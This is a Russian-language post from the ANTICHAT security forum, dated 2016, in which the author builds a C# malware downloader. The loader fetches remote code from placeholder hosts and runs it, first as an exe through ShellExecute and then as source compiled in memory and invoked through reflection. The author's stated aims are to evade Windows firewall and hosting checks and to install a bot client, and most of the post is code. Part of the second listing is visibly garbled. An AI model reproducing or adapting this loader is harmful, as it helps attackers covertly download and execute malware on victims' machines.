HOME    FORUMS    MEMBERS    RECENT POSTS    LOG IN  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Песочница
   
 
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 03.05.2016, 17:08
SooLFaa
Guest
Сообщений: n/a
Провел на форуме:
187765

Репутация: 154
По умолчанию

Всем Здрасте. Сижу я значит (а я это тот, кто боготворит Мелкомягких и в частности C#, powershell) и захотелось вот мне написать downloader shell(далее лоадер). Речь не пойдет о старом добром и уже затертым до дыр ShellExecute, или wget, или прочей мега известной функции, потому что........

ДА ПОТОМУ ЧТО ЭТО НИ ХРЕНА УЖЕ НЕ РАБОТАЕТ.

Но, обо всем по порядку.....

Начнем с требований к нашему лоадеру:

* В фоновом режиме скачивать и запускать C++/C# программы;

* Не палиться сетевыми экранами в windows при скачивании exe;

* Обойти хостинговые проверки и прочую чушь при попытке скачать с ftp Windows;

Сразу оговорюсь, сие способ имеет кучу недостатков и так же ограничений и спасает далеко не ото всего, но мою задачу он решил. А задача моя была, не много ни мало посадить клиент бота. (Надо ли говорить, что для работы сие прилажухи необходимо установленный .Net)


Попытка 1.

Я как человек особо ̶х̶и̶т̶р̶о̶ж̶о̶п̶ы̶й̶ умный пошел простым путем.

Залил файл на хостинг как есть, надеялся его скачать программно и запустить через мною любимую ShellExecute;







Код:
Code:
public enum ShowCommands : int
        {
            SW_HIDE = 0,
            SW_SHOWNORMAL = 1,
            SW_NORMAL = 1,
            SW_SHOWMINIMIZED = 2,
            SW_SHOWMAXIMIZED = 3,
            SW_MAXIMIZE = 3,
            SW_SHOWNOACTIVATE = 4,
            SW_SHOW = 5,
            SW_MINIMIZE = 6,
            SW_SHOWMINNOACTIVE = 7,
            SW_SHOWNA = 8,
            SW_RESTORE = 9,
            SW_SHOWDEFAULT = 10,
            SW_FORCEMINIMIZE = 11,
            SW_MAX = 11
        }

        [DllImport("shell32.dll")]
        static extern IntPtr ShellExecute(IntPtr hwnd,string lpOperation,string lpFile,string lpParameters,string lpDirectory,
  ShowCommands nShowCmd);

        static void Main(string[] args)
        {
            string fileName = @"C:\1.exe";
            using (WebClient myWebClient = new WebClient())
            {
                string url = @"http://WEB-HOST/shell/Shell.exe";
                using (WebClient webClient = new WebClient())
                {
                    webClient.DownloadFile(url, fileName);
                }
            }
            ShellExecute(IntPtr.Zero, "open", fileName, String.Empty, String.Empty, ShowCommands.SW_SHOWNORMAL);
        }
Как и предполагалось файл даже не удалось скачать, аналогично используя FTP сервис в Windws 8. 10. И вот тогда на ум приходит компиляция на лету...

Суть метода в том, что мы скачиванием не готовый файл, а исходный код, а компилируем его на лету. Благодаря радостям рефлексии, то один лоадер может работать и для C++ и F#, но не об этом.


Итак попытка #2.


Заливаем shell.txt со следующим содержанием

Код:
Code:
using System;

namespace ShellCode
{
    public class Shell
    {
        public void Execute(string _value)
        {
            System.Diagnostics.Process.Start("calc.exe");
        }
    }
}






Ну и собственно код самого лодера.


Класс конструктор компилятора FabrikaShell

Код:
Code:
public class FabrikaShell
    {
        private CompilerResults Results = null;
        public void Compile(string _source, string[] _assemblies)
        {
            CompilerParameters compilerParameters = new CompilerParameters();
            compilerParameters.GenerateInMemory = true;
            if (_assemblies != null)
            {
                foreach (string asm in _assemblies)
                {
                    compilerParameters.ReferencedAssemblies.Add(asm);
                }
            }
            Results = new CSharpCodeProvider()
                .CompileAssemblyFromSource(compilerParameters, _source);
            if (Results.Errors.Count > 0)
            {
                StringBuilder sb = new StringBuilder();
                for (int i = 0; i  parameters = new List();
            parameters.Add("VALUE");
            myMethod.Invoke(run, parameters.ToArray());

        }
        static void Main(string[] args)
        {
            public const string FileToPath = @"C:\1.txt";
            using (WebClient myWebClient = new WebClient())
            {
                string url = @"http://URLTOSHELL/shell/Shell.txt";
                using (WebClient webClient = new WebClient())
                {
                    webClient.DownloadFile(url, FileToPath);
                }
            }

            string code = String.Empty;

            using (StreamReader rd = File.OpenText(FileToPath))
            {
                code = rd.ReadToEnd();
            }
     
            RunScript(code, "ShellCode.Shell");
            Console.ReadKey();
        }
    }


ПРОФИТ

 
Ответить с цитированием
 





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ